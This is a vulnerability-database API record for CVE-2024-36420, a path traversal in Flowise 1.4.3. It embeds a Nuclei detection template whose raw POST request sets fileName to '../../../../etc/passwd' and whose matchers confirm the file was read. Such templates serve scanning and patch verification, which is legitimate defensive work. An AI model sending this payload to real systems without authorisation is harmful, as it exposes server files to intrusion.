{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-36420/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-36420/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-36420/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-36420/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-36420/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-36420"},"sightings":{"href":"/api/v1/sightings/cve-2024-36420"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-36420.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-36420\n\ninfo:\n  name: Flowise 1.4.3 - Arbitrary File Read\n  author: fineman999\n  severity: high\n  description: |\n    Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.\n  impact: |\n    Attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n    No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-36420\n    - https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/\n    - https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982\n  classification:\n    cve-id: CVE-2024-36420\n    epss-score: 0.01776\n    epss-percentile: 0.78289\n    cwe-id: CWE-22\n    cvss-score: 7.5\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n  metadata:\n    verified: true\n    vendor: flowiseai\n    product: flowise\n    max-request: 1\n  tags: cve,cve2024,flowise,lfi,unauth,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/openai-assistants-file HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"fileName\":\"../../../../etc/passwd\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"(?m)^root:[^:]*:0:0:\"\n          - \"(?m)^daemon:[^:]*:[0-9]+:[0-9]+:\"\n\n      - type: word\n        part: header\n        words:\n          - \"attachment; filename=passwd\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022033f766627d4dca2b39aac2c63f1c4d30647461b2dcf3e16930ebc34a93504fa202206a03349ed62699648bcb9f5187aeaa58f70d08eec9c636d113db5f2fe276b677:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-36420"}